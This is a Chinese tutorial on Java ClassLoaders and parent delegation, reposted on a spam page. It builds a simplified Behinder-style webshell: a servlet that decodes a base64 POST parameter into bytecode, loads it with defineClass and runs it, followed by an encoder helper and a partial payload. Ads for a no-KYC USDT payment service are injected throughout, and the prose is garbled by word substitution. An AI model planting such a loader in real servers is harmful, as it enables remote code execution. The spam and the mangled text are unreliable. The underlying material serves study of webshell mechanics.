内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

usdt钱包(www.caibao.it):Java平安02-从ClassLoader到冰蝎Java篇

2021-01-26 09:16 出处:  人气:   评论( 0

USDT第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

demo2learn,兴趣使然

基础知识

Java Classloader是JRE的一部门,动态加载来自系统、网络或其他种种泉源Java类到Java虚拟机的内存中。

Java源代码通过Javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。

我是这样明白的。Classloader就是通过一系列操作,把种种泉源的种种花样的数据,以一个准确合适的类剖析方式剖析,读入内存,让JVM能明白执行

拿XML明白,一个xml可以是系统里的xml、可以是我们自己写的xml文件、可以是HTTP传输的XML数据,直接花样规范,就能被读取

JAVA常见的ClassLoader

BootstrapClassLoader

BootstrapClassLoader是最底层加载器。他没有父加载器,由C语言代码实现,主要卖力加载存储在$JAVA_HOME/jre/lib/rt.jar中的焦点Java库,包罗JVM自己。我们常用内置库java.xxx.* 都在内里,好比 java.util.*、java.io.*、java.nio.*、java.lang.* 等等。这个 ClassLoader 对照特殊,将它称之为「根加载器」。我们来测试一波,在项目里新建一个文件,叫demoClassloader

代码如下:

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,效果是:"  BufferedInputStream.class.getClassLoader());
    }
}

然后设置一个运行环境,这里新建一个Application。输入设置

运行效果相符预期。

ExtensionClassLoader

ExtensionClassLoadersun.misc.Launcher$ExtClassLoader类实现。卖力加载 JVM 扩展类,用来加载jrelibext的类,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar 中,有许多 jar 包。那我这里叫他拓展加载器。

我们找一个位于的$JAVA_HOME/lib/ext/*.jar类,右键点依赖的copy path看一下物理路径。运气很好,第一个jar包就相符要求

把适才的代码改一下:

import com.sun.java.accessibility.AccessBridge;

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,效果是:"  BufferedInputStream.class.getClassLoader());
        System.out.println("用AccessBridge测试拓展加载器,效果是:"  AccessBridge.class.getClassLoader());
    }
}

运行效果相符预期:

AppClassLoader

AppClassLoadersun.misc.Launcher$AppClassLoader实现。是直接面向我们用户的加载器,它会加载 Classpath 环境变量里界说的路径中的 jar 包和目录。我们自己编写的代码以及使用的第三方 jar 包通常都是由它来加载的。那我这里叫他应用加载器。(这里这样来明白,拓展加载器更底层,这些类一样平常没有实现某一个详细的需求功效。而应用加载器加载的类一样平常封装的更完整,都实现了详细的功效和需求)。

我们来找一个第三方依赖、以及自己写的代码。很简单,这里我们直接用上节导入的Commons-collection这个测试类自己测试一波,改一下代码:

import com.sun.java.accessibility.AccessBridge;
import org.apache.commons.collections.map.LazyMap;

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,效果是:"  BufferedInputStream.class.getClassLoader());
        System.out.println("用AccessBridge测试拓展加载器,效果是:"  AccessBridge.class.getClassLoader());
        System.out.println("用commons-collections的Lazymap测试应用加载器,效果是:"  LazyMap.class.getClassLoader());
        System.out.println("用自己写的demoClassloader测试应用加载器,效果是:"  demoClassloader.class.getClassLoader());
    }
}

效果都相符预期。

UserDefineClassLoader

UserDefineClassLoader这不是某一个加载器的名称,是一种用户还可以通过继续java.lang.ClassLoader类,来实现自己的类加载器。这里可以参考UDF。

工具的ClassLoader属性

综上,每个 Class 工具内里都有一个 classLoader 属性纪录了当前的类是由谁来加载的。所有延迟加载的类都市由初始挪用 main 方式的这个 ClassLoader 全全卖力,它就是 AppClassLoader。

程序在运行过程中,遇到了一个未知的类,它会选择哪个 ClassLoader 来加载它呢?虚拟机的计谋是使用挪用者 Class 工具的 ClassLoader 来加载当前未知的类。作甚挪用者 Class 工具?就是在遇到这个未知的类时,虚拟机一定正在运行一个方式挪用(静态方式或者实例方式)。(至少我们的main方式作为入口)

  • 某个 Class 工具的 classLoader 属性值是 null,那么就示意这个类也是「根加载器」加载的。
  • 某个 Class 工具的 classLoader 属性值是 sun.misc.Launcher$ExtClassLoader,那么就示意这个类也是「拓展加载器」加载的。
  • 某个 Class 工具的 classLoader 属性值是 sun.misc.Launcher$AppClassLoader,那么就示意这个类也是 [应用加载器」加载的。

这就有一个疑问了,我们写的程序一样平常都是main方式作为入口,那么这个时刻我们的加载器就是应用加载器AppClassLoader。可是我们的程序中经常会用的系统库和第三方库啊,这些类不应该由AppClassLoader加载。JVM是怎么解决这个疑问的呢?下面将先容双亲委派机制

双亲委派机制

简单说一下双亲委派。

  • AppClassLoader 遇到没有加载的系统类库, 必须将库的加载事情交给ExtensionClassLoader

    ,

    Usdt第三方支付接口

    菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

    ,
  • ExtensionClassLoader遇到没有加载的系统类库,必须将库的加载事情交给BootstrapClassLoader

这三个ClassLoader之间形成了级联的父子关系,每个ClassLoader都很懒,只管把事情交给父亲做,父亲干不了了自己才会干。每个ClassLoader工具内部都市有一个parent属性指向它的父加载器。ExtensionClassLoader的 parent 指针画了虚线,这是由于它的 parent 的值是 null,当 parent 字段是 null 时就示意它的父加载器是「根加载器」。同样的,某个 Class 工具的 classLoader 属性值是 null,那么就示意这个类也是「根加载器」加载的。

看看ClassLoader的源码

加载器可以被分为两类,

  • 继续了CLassLoader类的种种加载器,包罗ExtensionClassLoader、AppClassLoader、UserDefineClassLoader
  • BootstrapClassLoader (太底层,用C写的,不看)

看一下ClassLoader,焦点有三个方式:loadClass、findClass、defineClass,我们跟一下loadClass方式。

loadClass

public Class<?> loadClass(String name) throws ClassNotFoundException {
        return loadClass(name, false);
    }//单参的重载
    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);//看一下这个类是否已经加载
            if (c == null) {//若是c为空,没有已经加载
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {//判断父加载器是否为空
                        c = parent.loadClass(name, false);//不为空就挪用父加载器的loadClass方式
                    } else {
                        c = findBootstrapClassOrNull(name);//若是为空,就挪用跟加载器
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.//若是没有“乐成甩锅”个哦父加载器,就挪用findClass方式
                    long t1 = System.nanoTime();
                    c = findClass(name);//把效果赋值给c变量

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);//使用resolve方式剖析findClass的效果
            }
            return c;
        }
    }

原注释就写的很清晰,加了部门注释。也印证了上面关于双亲委派的内容。

UserDefineClassLoader

在现实情况下,我们不仅仅只希望使用classpath当中指定的类或者jar包举行挪用使用,我们希望干任何事情,使用种种类。自界说类加载器步骤:

1、继续ClassLoader类

2、挪用defineClass()方式

先停停,看看这个。我TM直接好家伙,我愿意称之为ClassLoader最佳初学demo。为啥?有趣!而且每个web狗应该都接触过。

原文:首先要让服务端有动态地将字节省剖析成Class的能力,这是基础。
正常情况下,Java并没有提供直接剖析class字节数组的接口。不外classloader内部实现了一个protected的defineClass方式,可以将byte[]直接转换为Class

搞起来。

伪·冰蝎里的ClassLoader

理清一下思绪,我们要干嘛?

  • 伪·冰蝎的服务端
    • 写一个UserDefineCLassLoader,他继续CLassLoader
    • 他加载我们通过HTTP请求发过去的类的数据
    • 然后挪用我们的类里写的rce方式
  • 伪·冰蝎的客户端
    • 在rce方式里写坏代码,干坏事
    • 天生一个类的数据,发给服务端

写服务端

import sun.misc.BASE64Decoder;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "democlassLoader")
//这里是注释设置接见servlet
public class demoClassLoaderServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String classStr=request.getParameter("key");
        BASE64Decoder code=new BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
        try {
            System.out.println(result.newInstance().toString());
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from LoaderServlet");
        out.close();
    }

}

class Myloader extends ClassLoader //继续ClassLoader
{
    public  Class get(byte[] b)
    {
        return super.defineClass(b, 0, b.length);
    }
}

改一下web.xml

<servlet>
    <servlet-name>democlassLoader</servlet-name>
    <servlet-class>demoClassLoaderServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>democlassLoader</servlet-name>
    <url-pattern>/democlassLoader</url-pattern>
  </servlet-mapping>

把运行环境切成tomcat,跑起来。

用GET方式测试一下,保证servlet运行正常

写Payload

这个Payload是抄冰蝎的,我们点一下这个小锤子,天生编译好的class。然后把class文件转成base64的编码,下面是从csdn掘金抄的代码。

import java.io.File;
import java.io.FileInputStream;
import sun.misc.BASE64Encoder;
public class class2base64 {
    /**
     * <p>将文件转成base64 字符串</p>
     * @param path 文件路径
     * @return
     * @throws Exception
     */
    public static String encodeBase64File(String path) throws Exception {
        File file = new File(path);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        return new BASE64Encoder().encode(buffer);
    }

    public static void main(String[] args) {
        try {
            String base64Code =encodeBase64File("your path for payload.class");
            System.out.println(base64Code);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

配一下运行环境,把main函数指定到base64转换这个文件上,点运行。看到output栏已经打印了转换效果。注重,这里有一个 号,这种符号在HTTP请求中,会被专业 号代表空格,后面处置HTTP请求的适合要注重做一次URL编码

测试

把运行环境切到tomcat,启动。

接见以下项目路径,抓个包,切成POST请求。

在POST的body加上,注重把 url编码一下,就是+。

key=yv66vgAAADMAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMZGVtb0NsYXNzTG9hZGVyUGF5bG9hZDsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3

鸡冻人心的时刻到了,点一下send。看看发生什么。

乐成执行。

致谢

谢谢phithon、rebeyond、小阳(不分先后)

分享给小伙伴们:
本文标签: 安全技术WEB安全

相关文章

Copyright © 2002-2019 大庆新闻 版权所有 Power by DedeMao